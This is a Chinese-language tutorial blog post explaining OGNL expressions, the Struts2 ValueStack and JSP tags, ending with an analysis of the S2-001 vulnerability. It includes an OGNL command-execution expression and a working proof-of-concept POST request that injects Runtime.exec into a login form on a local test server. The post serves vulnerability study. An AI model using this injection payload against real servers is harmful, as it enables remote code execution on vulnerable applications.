ognl與struts2漏洞的學習

Struts2這個框架每年都會出現那麼幾個漏洞,不得不引起鬥哥學習的興趣。本期將從Struts2的一個罪魁禍首ONGL表達式開始介紹到S2-001漏洞的分析。Struts2系列的漏洞涉及Java Web等相關內容,後續會持續更新漏洞分析以及相關知識背景介紹等。

0x00 什麼是ognl

OGNL全稱是對象視圖導航語言(Object-Graph Navigation Language),它是一種功能強大的表達式語言,通過它簡單一致的表達式語法,可以存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。它使用相同的表達式去存取對象的屬性。

0x01 ognl的核心OgnlContext對象

OgnlContext對象是Ognl的核心,需要一個上下文環境。又分爲兩個部分,分別是Root對象和Context對象,Root對象所在的環境就是OGNL的上下文環境(Context)。上下文環境規定了OGNL的操作“在哪裏進行”。上下文環境Context是一個MAP類型的對象,在表達式中訪問Context的對象,需要使用#號加上對象名稱,即#對象名稱的形式。

比如我們有一個User對象: User.Java

public class User {
    private String name;
    private Integer age;
 
    public User() {
        super();
    }
 
    public User(String name, Integer age) {
        super();
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        return name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
 
    public Integer getAge() {
        return age;
    }
 
    public void setAge(Integer age) {
        this.age = age;
    }
}

那針對User對象,Root的方式:

User rootUser = new User("tom",18);

Context的方式:

Map<String,User> context = new HashMap<String,User>();
context.put("user1",new User("jack",20));
context.put("user2",new User("rose",22));

創建OgnlContext對象:

OgnlContext oc = new OgnlContext();
oc.setRoot(rootUser);
oc.setValues(context);

取出root中User對象的name和age屬性。這裏可以使用getValue這個方法,其中第一個參數是就是OGNL表達式。

String name = (String) Ognl.getValue("name",oc,oc.getRoot());
Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());
System.out.println(age);
System.out.println(name);

取出Context對象中的屬性值,這裏要加上#符號。

String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());
String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());
Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());
Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());
System.out.println(name1);
System.out.println(name2);
System.out.println(age1);
System.out.println(age2);

爲root中的User對象的name屬性賦值。

Ognl.getValue("name='jerry'",oc,oc.getRoot());
String name = (String) Ognl.getValue("name",oc,oc.getRoot());
System.out.println(name);

爲Context中的user1對象的name屬性賦值。

Ognl.getValue("#user1.name='reborn'",oc,oc.getRoot());
String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());
System.out.println(name1);

getValue用來提取OGNL表達式運行後的值。下面是getValue可以傳遞的值:

public static java.lang.Object getValue(java.lang.String expression,
                                            java.util.Map context,
                                            java.lang.Object root,
                                            java.lang.Class resultType)
                                     throws OgnlException

●java.lang.String expression 表達式

●java.util.Map context 上下文

●java.lang.Object root 表達式根對象

●java.lang.Class resultType 被轉換的結果對象的類型

OGNL 的 API 設計得是很簡單的,context 提供上下文,爲變量和表達式的求值過程來提供命名空間,存儲變量 等,通過 root 來指定對象圖遍歷的初始變量,使用 expression 來告訴 Ognl 如何完成運算。

演示ognl如何訪問對象的方法:

1.創建一個 OgnlContext對象,context

2.創建一個 obj 對象 obj。 obj 的值等於 Ognl.getValue的值。

3.Ognl.getValue有2個參數。 "'helloworld'.length()"爲表達式語句。

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
 
public class Ognltest {
    public static void main(String[] args) throws OgnlException {
        OgnlContext context = new OgnlContext();
        Object obj = Ognl.getValue("'helloworld'.length()",context);
        System.out.println(obj);
    }
}

●ognl可以支持對象方法調用如:

objName.methodName()

●ognl可以支持類的靜態方法調用和值訪問,表達式格式爲:@[類全名(包括包路徑)@[方法名|值名]],例如:調用java.lang.String類的format方法。

@java.lang.String@format('foo %s','bar')

0x03 ognl與Struts2的結合

1.ValueStack

Ognl表達式可以單獨使用,它也被一些成熟的框架使用,如Struts2。在Struts2 中有個值棧對象即ValueStack。而說得通俗些,這個值棧就是OgnlContext。

而Ognl原有的root部分對應Struts2的棧,Context對應Struts2的ActionContext。

2.ValueStack特點

ValueStack貫穿整個Action的生命週期(每個Action類的對象實例都擁有一個ValueStack對象),即用戶每次訪問struts的action,都會創建一個Action對象、值棧對象、ActionContext對象,然後把Action對象放入值棧中;最後再把值棧對象放入request中,傳入jsp頁面。相當於一個數據的中轉站,在其中保存當前Action對象和其他相關對象。Struts2框架把ValueStack對象保存在名爲struts。valueStack的request請求屬性中。

0x04 JSP頁面中獲取ValueStack數據

在jsp頁面中,對不同ValueStack中的不同類型取值方法不同, 如果是根元素取值,直接寫表達式; 非根元素(request,Session,application,att,parmeters)必須用#號,例#request.cn。

<%@taglib prefix="s" uri="/struts-tags" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>jsp頁面取值</title>
  </head>
  <body>
index頁面
<%--頁面,必須要拿到ValueStack--%>
<%--struts的調試標籤,可以觀測值棧數據--%>
<s:debug/>
<br/>1.取根元素的值<br/>
  <s:property value="user.id"/>
  <s:property value="user.name"/>
 
<br/>2.取非根元素<br/>
  <s:property value="#request.cn"/>
  <s:property value="#request.request_data"/>
  <s:property value="#session.session_data"/>
  <s:property value="#application.application_data"/><br/>
 
<%--attr按順序自動找request/session/application,找到後立刻返回--%>
  <s:property value="#attr.application_data"/>
<%--獲取請求參數數據--%>
  <s:property value="#parameters.userName"/>
  </body>
</html>

0x05 Struts標籤

Ognl表達式取值。使用方式是:

1.引入<%@taglib prefix="s" uri="/struts-tags" %>

2.使用<s:property value="user.name"/>標籤獲取取值,取值的時候要注意根元素(全局變量)不用#號,其他的都用#號。

0x06 ognl的命令執行

Java的命令執行可以藉助java.lang.Runtime類的getRuntime方法。 如下:Run.java

import java.io.IOException;
import static java.lang.Runtime.getRuntime;
 
public class Run {
    public static void main(String[] args) throws IOException {
        Process s = getRuntime().exec("calc");
    }
}

將上述代碼按照@[類全名(包括包路徑)@[方法名|值名]]書寫表達式語句:

@java.lang.Runtime@getRuntime().exec('calc')

0x07 s2-001漏洞分析

該漏洞其實是因爲用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單數據中。

這裏的表單是用JSP寫的,需要對JSP有所瞭解,還需要去了解一下Struts2標籤庫常用的幾個標籤,這裏有個參考鏈接:Struts2標籤庫常用標籤

例如註冊或登錄頁面,提交失敗後端一般會默認返回之前提交的數據,由於後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,這裏重新填充動作是要有的,沒有則不會觸發漏洞。

LoginAction.class

package com.demo.action;
 
import com.opensymphony.xwork2.ActionSupport;
 
public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;
 
    public LoginAction() {
    }
 
    public String getUsername() {
        return this.username;
    }
 
    public String getPassword() {
        return this.password;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
    public String execute() throws Exception {
        if (!this.username.isEmpty() && !this.password.isEmpty()) {
            return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
        } else {
            return "error";
        }
    }
}

這段代碼的意思是,接收發往/login.action的用戶名和密碼,如果兩者不爲admin,則返回error。

而查看struts.xml文件,發現返回error則跳轉到index.jsp文件。

<package name="S2-001" extends="struts-default">
  <action name="login" class="com.demo.action.LoginAction">
    <result name="success">/welcome.jsp</result>
    <result name="error">/index.jsp</result>
  </action>
</package>

而index.jsp有表單如下:

<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>

最終我們構造請求如下,觸發漏洞。

[post]
http://127.0.0.1:8080/login.action
[data]
username=xxx&password=%25{%40java.lang.Runtime%40getRuntime().exec("calc")}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章